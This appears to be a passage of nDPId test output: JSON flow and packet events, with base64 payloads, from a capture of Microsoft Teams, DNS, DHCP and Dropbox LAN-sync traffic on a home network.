x0hTRHs"} +00374{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":644,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041678,"pkt_ts_usec":611338,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AYDCAAAAeCjKBfrMACZCQgMAAAAAAJAAeCjKBfrMAAAAAJAAeCjKBfrMgAEAAAYAAQAEAKWlpaWlpaWl"} +00154{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":644,"source":"teams.pcap","alias":"nDPId-test","type":38} +00469{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":645,"source":"teams.pcap","alias":"nDPId-test","flow_id":10,"flow_packet_id":1,"flow_first_seen":1587041679059,"flow_last_seen":0,"flow_tot_l4_data_len":49,"flow_min_l4_data_len":49,"flow_max_l4_data_len":49,"flow_avg_l4_data_len":49,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"192.168.1.1","src_port":64046,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00447{"flow_id":10,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":645,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041679,"pkt_ts_usec":59584,"pkt_caplen":83,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":83,"pkt_l4_len":49,"pkt":"EBMx8Tl2KDc3AG3ICABFAABFmxQAAP8RnTvAqAEGwKgBAfouADUAMTs\/p0sBAAABAAAAAAAAAWIHX2Rucy1zZARfdWRwBG50b3ADb3JnAAAMAAE="} +00639{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":645,"source":"teams.pcap","alias":"nDPId-test","flow_id":10,"flow_packet_id":1,"flow_first_seen":1587041679059,"flow_last_seen":0,"flow_tot_l4_data_len":49,"flow_min_l4_data_len":49,"flow_max_l4_data_len":49,"flow_avg_l4_data_len":49,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"192.168.1.1","src_port":64046,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.ntop","breed":"Safe","category":"Network"},"dns": {"query":"b._dns-sd._udp.ntop.org","num_queries":0,"num_answers":0,"reply_code":0,"query_type":12,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00480{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":646,"source":"teams.pcap","alias":"nDPId-test","flow_id":11,"flow_packet_id":1,"flow_first_seen":1587041679280,"flow_last_seen":0,"flow_tot_l4_data_len":493,"flow_min_l4_data_len":493,"flow_max_l4_data_len":493,"flow_avg_l4_data_len":493,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"255.255.255.255","src_port":17500,"dst_port":17500,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01055{"flow_id":11,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":646,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041679,"pkt_ts_usec":280602,"pkt_caplen":527,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":527,"pkt_l4_len":493,"pkt":"\/\/\/\/\/\/\/\/KDc3AG3ICABFAAIBKZoAAEARjaTAqAEG\/\/\/\/\/0RcRFwB7XmveyJ2ZXJzaW9uIjogWzIsIDBdLCAicG9ydCI6IDE3NTAwLCAiaG9zdF9pbnQiOiAxMzMzNTg3NDkxMjE4NDQ1MzM1NDE0MzUyMjUyODU2OTU0NjIxMiwgImRpc3BsYXluYW1lIjogIiIsICJuYW1lc3BhY2VzIjogWzI3NTAzNzA1NjAsIDc4NTI2NjE3NywgMTUyNjI2MzA0NSwgMjg1MjE2MDcsIDE0ODE5MzM3LCA0NTE0NzI2NTgsIDczNjM0MTUyOCwgOTM4ODEzODQ5LCAxMjY3Njk1MTA5LCA1NDQwNDA3MDcyLCA1ODM0NDk5NiwgOTk2MzA2MjE1LCA1MzAzMzAxMjQ4LCA0MDU2NDYyNTkyLCA3MDUzNjI3MTg0LCAxNTIyMTc3NTg3LCAxNDIxMTE0Mzk5LCAxMjUyMTE2NDI5LCA5OTQ2OTc3MywgNzA3OTYzNjY4OCwgMTc2OTY0MzA3LCAxMjU1NDA1NjYsIDEwNDc0MjgxODksIDQ3MTYxOTAwNDgsIDU0NjcxNjMwODgsIDExOTUwNDQwNzEsIDk2ODUzMjI0LCAxNzYwOTk2MywgNjQ3ODMwMzQ0MCwgNTExNzA2NjQyLCA2Mjk3OTU1MTg0LCAxNDE1NjIwMzUwXX0="} +00513{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":646,"source":"teams.pcap","alias":"nDPId-test","flow_id":11,"flow_packet_id":1,"flow_first_seen":1587041679280,"flow_last_seen":0,"flow_tot_l4_data_len":493,"flow_min_l4_data_len":493,"flow_max_l4_data_len":493,"flow_avg_l4_data_len":493,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"255.255.255.255","src_port":17500,"dst_port":17500,"l4_proto":"udp","ndpi": {"proto":"Dropbox","breed":"Acceptable","category":"Cloud"}} +00478{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":647,"source":"teams.pcap","alias":"nDPId-test","flow_id":12,"flow_packet_id":1,"flow_first_seen":1587041679280,"flow_last_seen":0,"flow_tot_l4_data_len":493,"flow_min_l4_data_len":493,"flow_max_l4_data_len":493,"flow_avg_l4_data_len":493,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"192.168.1.255","src_port":17500,"dst_port":17500,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01051{"flow_id":12,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":647,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041679,"pkt_ts_usec":280885,"pkt_caplen":527,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":527,"pkt_l4_len":493,"pkt":"\/\/\/\/\/\/\/\/KDc3AG3ICABFAAIBMegAAEARwq7AqAEGwKgB\/0RcRFwB7bcHeyJ2ZXJzaW9uIjogWzIsIDBdLCAicG9ydCI6IDE3NTAwLCAiaG9zdF9pbnQiOiAxMzMzNTg3NDkxMjE4NDQ1MzM1NDE0MzUyMjUyODU2OTU0NjIxMiwgImRpc3BsYXluYW1lIjogIiIsICJuYW1lc3BhY2VzIjogWzI3NTAzNzA1NjAsIDc4NTI2NjE3NywgMTUyNjI2MzA0NSwgMjg1MjE2MDcsIDE0ODE5MzM3LCA0NTE0NzI2NTgsIDczNjM0MTUyOCwgOTM4ODEzODQ5LCAxMjY3Njk1MTA5LCA1NDQwNDA3MDcyLCA1ODM0NDk5NiwgOTk2MzA2MjE1LCA1MzAzMzAxMjQ4LCA0MDU2NDYyNTkyLCA3MDUzNjI3MTg0LCAxNTIyMTc3NTg3LCAxNDIxMTE0Mzk5LCAxMjUyMTE2NDI5LCA5OTQ2OTc3MywgNzA3OTYzNjY4OCwgMTc2OTY0MzA3LCAxMjU1NDA1NjYsIDEwNDc0MjgxODksIDQ3MTYxOTAwNDgsIDU0NjcxNjMwODgsIDExOTUwNDQwNzEsIDk2ODUzMjI0LCAxNzYwOTk2MywgNjQ3ODMwMzQ0MCwgNTExNzA2NjQyLCA2Mjk3OTU1MTg0LCAxNDE1NjIwMzUwXX0="} +00511{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":647,"source":"teams.pcap","alias":"nDPId-test","flow_id":12,"flow_packet_id":1,"flow_first_seen":1587041679280,"flow_last_seen":0,"flow_tot_l4_data_len":493,"flow_min_l4_data_len":493,"flow_max_l4_data_len":493,"flow_avg_l4_data_len":493,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"192.168.1.255","src_port":17500,"dst_port":17500,"l4_proto":"udp","ndpi": {"proto":"Dropbox","breed":"Acceptable","category":"Cloud"}} +00385{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":648,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041679,"pkt_ts_usec":406816,"pkt_caplen":60,"pkt_type":34969,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"\/\/\/\/\/\/\/\/2A0X1lWriJklgAAA2A0X1lWrAACAAADYDRfWVauACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"} +00157{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":648,"source":"teams.pcap","alias":"nDPId-test","type":34969} +00374{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":649,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041679,"pkt_ts_usec":611289,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AYDCAAAAeCjKBfrMACZCQgMAAAAAAJAAeCjKBfrMAAAAAJAAeCjKBfrMgAEAAAYAAQAEAKWlpaWlpaWl"} +00154{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":649,"source":"teams.pcap","alias":"nDPId-test","type":38} +00447{"flow_id":10,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":650,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041680,"pkt_ts_usec":62816,"pkt_caplen":83,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":83,"pkt_l4_len":49,"pkt":"EBMx8Tl2KDc3AG3ICABFAABFhq8AAP8RsaDAqAEGwKgBAfouADUAMTs\/p0sBAAABAAAAAAAAAWIHX2Rucy1zZARfdWRwBG50b3ADb3JnAAAMAAE="} +00522{"flow_id":10,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":651,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041680,"pkt_ts_usec":74798,"pkt_caplen":136,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":136,"pkt_l4_len":102,"pkt":"KDc3AG3IEBMx8Tl2CABFAAB61LQAAEARImfAqAEBwKgBBgA1+i4AZgAAp0uBgwABAAAAAQAAAWIHX2Rucy1zZARfdWRwBG50b3ADb3JnAAAMAAHAGwAGAAEAAAA7ACkFZG5zZG\/AGwpwb3N0bWFzdGVywBt4ZvNkAACowAAAHCAAJOoAAAACWA=="} +00661{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":651,"source":"teams.pcap","alias":"nDPId-test","flow_id":10,"flow_packet_id":3,"flow_first_seen":1587041679059,"flow_last_seen":1587041680074,"flow_tot_l4_data_len":200,"flow_min_l4_data_len":49,"flow_max_l4_data_len":102,"flow_avg_l4_data_len":66,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"192.168.1.1","src_port":64046,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.ntop","breed":"Safe","category":"Network"},"dns": {"query":"b._dns-sd._udp.ntop.org","num_queries":1,"num_answers":1,"reply_code":3,"query_type":12,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00470{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":664,"source":"teams.pcap","alias":"nDPId-test","flow_id":13,"flow_packet_id":1,"flow_first_seen":1587041680216,"flow_last_seen":0,"flow_tot_l4_data_len":363,"flow_min_l4_data_len":363,"flow_max_l4_data_len":363,"flow_avg_l4_data_len":363,"midstream":0,"l3_proto":"ip4","src_ip":"0.0.0.0","dst_ip":"255.255.255.255","src_port":68,"dst_port":67,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00886{"flow_id":13,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":664,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041680,"pkt_ts_usec":216814,"pkt_caplen":397,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":397,"pkt_l4_len":363,"pkt":"\/\/\/\/\/\/\/\/AICPmq69CABFAAF\/44MAAEARlesAAAAA\/\/\/\/\/wBEAEMBa5dnAQEGABWCmMYYtQAAAAAAAAAAAAAAAAAAAAAAAACAj5quvQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABjglNjNQEBPRP\/j5quvQABAAEfyzfOuCfrPQjbUAB0AQE5AgXcPC1kaGNwY2QtNi4xMC4xOkxpbnV4LTQuOS41Ny12Nys6YXJtdjdsOkJDTTI4MzUMDHBpMy5udG9wLm9yZ5EBATcPAXkhAwYMDxocKjM2Ojt3\/w=="} +00529{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":664,"source":"teams.pcap","alias":"nDPId-test","flow_id":13,"flow_packet_id":1,"flow_first_seen":1587041680216,"flow_last_seen":0,"flow_tot_l4_data_len":363,"flow_min_l4_data_len":363,"flow_max_l4_data_len":363,"flow_avg_l4_data_len":363,"midstream":0,"l3_proto":"ip4","src_ip":"0.0.0.0","dst_ip":"255.255.255.255","src_port":68,"dst_port":67,"l4_proto":"udp","ndpi": {"proto":"DHCP","breed":"Acceptable","category":"Network"},"dhcp": {"fingerprint":""}} +00472{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":665,"source":"teams.pcap","alias":"nDPId-test","flow_id":14,"flow_packet_id":1,"flow_first_seen":1587041680294,"flow_last_seen":0,"flow_tot_l4_data_len":68,"flow_min_l4_data_len":68,"flow_max_l4_data_len":68,"flow_avg_l4_data_len":68,"midstream":1,"l3_proto":"ip4","src_ip":"93.62.150.157","dst_ip":"192.168.1.6","src_port":443,"dst_port":60512,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00477{"flow_id":14,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":665,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041680,"pkt_ts_usec":294054,"pkt_caplen":102,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":102,"pkt_l4_len":68,"pkt":"KDc3AG3IEBMx8Tl2CABFAABYCTNAAHEGSuNdPpadwKgBBgG77GBJd2ZkkI5L3oAY\/\/uUpgAAAQEICsJ1bW4wg\/kbFwMDAB8AAAAAAAAABVYf48xkHJTZ\/YMO7dmv4tC6Gofi60hR"} +00407{"flow_id":14,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":666,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041680,"pkt_ts_usec":294170,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"EBMx8Tl2KDc3AG3ICABFAAAoAABAAEAGhUbAqAEGXT6WnexgAbuQjkveAAAAAFAEAAAvzgAA"} +01902{"flow_id":14,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":667,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041680,"pkt_ts_usec":294649,"pkt_caplen":1156,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1156,"pkt_l4_len":1122,"pkt":"KDc3AG3IEBMx8Tl2CABFAAR2CTRAAHEGRsRdPpadwKgBBgG77GBJd2aIkI5L3oAY\/\/v9PwAAAQEICsJ1bW4wg\/kbFwMDBD0AAAAAAAAABm9iu+t9XgqZR4s0F3BUPHh3OFodjBrwIjhJ5jzUDrtlDVli1SVxk270m+gEbse5EGdXD2tQPqX+uNfx4B7otIIyfqifH2S\/KFxGyKDkumEYrUX2hsTy4AvsIXg77ggsd77nUCYIUkr9Dcu1K8XBBisxPpHT+zWCDZADIu9GEbXV2\/9sowiGe8yrlpVrokOfQ1DpsHmZowwlG7Bi36UFm+L5Z6cwifqjKB8bGHxJp5qTVRJD\/elikR43sBRzkZfcKqYDSp7JYzhK3QKUfc6m5GUQ5dfnLhv5nlfAs74UtmJ5EyjXuAHe9YxanSSvzzG4JMTWGAY5tTjjtYwpZihFAGx52HToq2O+CpcbwPHV1TLQUDbT2yGJc7gM1GLG5aFGzYu4CebCnnBl2NsUqq80dM5DZBgWZFtSy9z2NYnNFnXM\/L50k82dbGP\/hbFfCNFMS6BvXhwvqUQidPN2cRmVwTsWXaFgKlMTAFoatWZ\/LRmGoWBdnNparAnK8NJzgtzGWejWpNSxsXZQ1NSy\/4QwWmZ1aiyH3lAZfsyIjqYBH478mZLwQeLwCsFzK39ybhvc8awbkRiAIoeLHCDrqRPBNhP62oMKfuuybYfQO5cgeLBcoVWj4YmTHvVqXUaiIJM0ecCweYrE28c1bMOuRYrnD6X5H1vOaut8zUARe+SwmWED1FAd9+LaLocuQm5mzrdNkB6aXE4s0lhsnmXfrvdjFstoXCwJT0nh7ITIpoT2HCapxHTDXopSW+f6iqr0aTti5yh8nUUMgZZ++9jn1o3T3lmRclm9+mgQdUUmHkA3dQCgvlVHN9ZAWzkNyqS56Hs+VXyhIUgDoTONh43ut\/yBnqLWJ6HXKcI6qe1ntdtXyoQyjYZpSOnm2uYp+6WFP8eztjtGexEu6hDqMx2fyQv\/mVl0auJxOvVANURsh9C6cu1LRWqw8SukcmJhO9ptW5iUNYclFK0BRMa7HDoqgqFCccb2WkU4sxDCVFF52CIMR33VkffteHiI9\/NgTNgZERM3tobFzsdXrDpRRXLWDage6O7fLzs8m9hERZCv46Exgndu8ho3VvbFCaZyMsnBpC0\/L6igC1xzLSs2ksZSkx5L9Q7VhMaHlPusEBUMQJ5uA6CkdGrw0a3GiTrkSUGJIGKC7WyL+yh36GZcaflqIrfqPpArwHS0O6hsLRU\/2t+Pwt19umaYcC7QuLOwfSwEr1PxrFtzW1mzlNCKarl0LmPBlPWyV5JfN4y4C1aRVZ7yV7\/4iclnIrddqAkiXdgSc+ai4OnXQhk4fgmfh+Ar5gfpmM8U2v\/X345bEZszWOszb+cdvmzW47cwiYheg59HkuZ4TWUwEFRrPkd047noDz+bhfvXLMYNCStN2XWEGpRFtvI8rpdiTmvHc7+aKDQSaaH8jzVNbso1cSOHqJjXtpeD+vrVfOMXgQ=="} +00407{"flow_id":14,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":668,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041680,"pkt_ts_usec":294680,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"EBMx8Tl2KDc3AG3ICABFAAAoAABAAEAGhUbAqAEGXT6WnexgAbuQjkveAAAAAFAEAAAvzgAA"} +00374{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":669,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041680,"pkt_ts_usec":611341,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AYDCAAAAeCjKBfrMACZCQgMAAAAAAJAAeCjKBfrMAAAAAJAAeCjKBfrMgAEAAAYAAQAEAKWlpaWlpaWl"} +00154{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":669,"source":"teams.pcap","alias":"nDPId-test","type":38} +00469{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":850,"source":"teams.pcap","alias":"nDPId-test","flow_id":15,"flow_packet_id":1,"flow_first_seen":1587041681218,"flow_last_seen":0,"flow_tot_l4_data_len":55,"flow_min_l4_data_len":55,"flow_max_l4_data_len":55,"flow_avg_l4_data_len":55,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"192.168.1.1","src_port":56634,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00456{"flow_id":15,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":850,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041681,"pkt_ts_usec":218709,"pkt_caplen":89,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":89,"pkt_l4_len":55,"pkt":"EBMx8Tl2KDc3AG3ICABFAABLUFkAAP8R5\/DAqAEGwKgBAd06ADUANyl9Kf0BAAABAAAAAAAAB2NhcHRpdmUFYXBwbGUDY29tB2VkZ2VrZXkDbmV0AAABAAE="} +00655{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":850,"source":"teams.pcap","alias":"nDPId-test","flow_id":15,"flow_packet_id":1,"flow_first_seen":1587041681218,"flow_last_seen":0,"flow_tot_l4_data_len":55,"flow_min_l4_data_len":55,"flow_max_l4_data_len":55,"flow_avg_l4_data_len":55,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"192.168.1.1","src_port":56634,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"ConnectivityCheck"},"dns": {"query":"captive.apple.com.edgekey.net","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00530{"flow_id":15,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":851,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041681,"pkt_ts_usec":248693,"pkt_caplen":142,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":142,"pkt_l4_len":108,"pkt":"KDc3AG3IEBMx8Tl2CABFAACAqEJAADkRFdPAqAEBwKgBBgA13ToAbAAAKf2BgAABAAIAAAAAB2NhcHRpdmUFYXBwbGUDY29tB2VkZ2VrZXkDbmV0AAABAAHADAAFAAEAAADSABkFZTcyNzkFZHNjZTkKYWthbWFpZWRnZcAmwDsAAQABAAAAFAAEFzKeWA=="} +00682{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":851,"source":"teams.pcap","alias":"nDPId-test","flow_id":15,"flow_packet_id":2,"flow_first_seen":1587041681218,"flow_last_seen":1587041681248,"flow_tot_l4_data_len":163,"flow_min_l4_data_len":55,"flow_max_l4_data_len":108,"flow_avg_l4_data_len":81,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"192.168.1.1","src_port":56634,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"ConnectivityCheck"},"dns": {"query":"captive.apple.com.edgekey.net","num_queries":1,"num_answers":2,"reply_code":0,"query_type":1,"rsp_type":1,"rsp_addr":"23.50.158.88"}} +00385{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":853,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041681,"pkt_ts_usec":407197,"pkt_caplen":60,"pkt_type":34969,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"\/\/\/\/\/\/\/\/2A0X1lWriJklgAAA2A0X1lWrAACAAADYDRfWVauACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"} +00157{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":853,"source":"teams.pcap","alias":"nDPId-test","type":34969} +00374{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":864,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041681,"pkt_ts_usec":611328,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AYDCAAAAeCjKBfrMACZCQgMAAAAAAJAAeCjKBfrMAAAAAJAAeCjKBfrMgAEAAAYAAQAEAKWlpaWlpaWl"} +00154{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":864,"source":"teams.pcap","alias":"nDPId-test","type":38} +00469{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":865,"source":"teams.pcap","alias":"nDPId-test","flow_id":16,"flow_packet_id":1,"flow_first_seen":1587041681714,"flow_last_seen":0,"flow_tot_l4_data_len":46,"flow_min_l4_data_len":46,"flow_max_l4_data_len":46,"flow_avg_l4_data_len":46,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"192.168.1.1","src_port":51033,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00443{"flow_id":16,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":865,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041681,"pkt_ts_usec":714331,"pkt_caplen":80,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":80,"pkt_l4_len":46,"pkt":"EBMx8Tl2KDc3AG3ICABFAABCnaYAAP8RmqzAqAEGwKgBAcdZADUALvSsiC0BAAABAAAAAAAABmV1LWFwaQNhc20Fc2t5cGUDY29tAAABAAE="} +00633{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":865,"source":"teams.pcap","alias":"nDPId-test","flow_id":16,"flow_packet_id":1,"flow_first_seen":1587041681714,"flow_last_seen":0,"flow_tot_l4_data_len":46,"flow_min_l4_data_len":46,"flow_max_l4_data_len":46,"flow_avg_l4_data_len":46,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"192.168.1.1","src_port":51033,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.Teams","breed":"Safe","category":"VoIP"},"dns": {"query":"eu-api.asm.skype.com","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00469{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":866,"source":"teams.pcap","alias":"nDPId-test","flow_id":17,"flow_packet_id":1,"flow_first_seen":1587041681714,"flow_last_seen":0,"flow_tot_l4_data_len":61,"flow_min_l4_data_len":61,"flow_max_l4_data_len":61,"flow_avg_l4_data_len":61,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"192.168.1.1","src_port":63106,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00463{"flow_id":17,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":866,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041681,"pkt_ts_usec":714835,"pkt_caplen":95,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":95,"pkt_l4_len":61,"pkt":"EBMx8Tl2KDc3AG3ICABFAABRU9EAAP8R5HLAqAEGwKgBAfaCADUAPVgfcugBAAABAAAAAAAAB2V1LXByb2QHYXN5bmNndwV0ZWFtcwltaWNyb3NvZnQDY29tAAABAAE="} +00657{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":866,"source":"teams.pcap","alias":"nDPId-test","flow_id":17,"flow_packet_id":1,"flow_first_seen":1587041681714,"flow_last_seen":0,"flow_tot_l4_data_len":61,"flow_min_l4_data_len":61,"flow_max_l4_data_len":61,"flow_avg_l4_data_len":61,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"192.168.1.1","src_port":63106,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.Teams","breed":"Safe","category":"Collaborative"},"dns": {"query":"eu-prod.asyncgw.teams.microsoft.com","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} 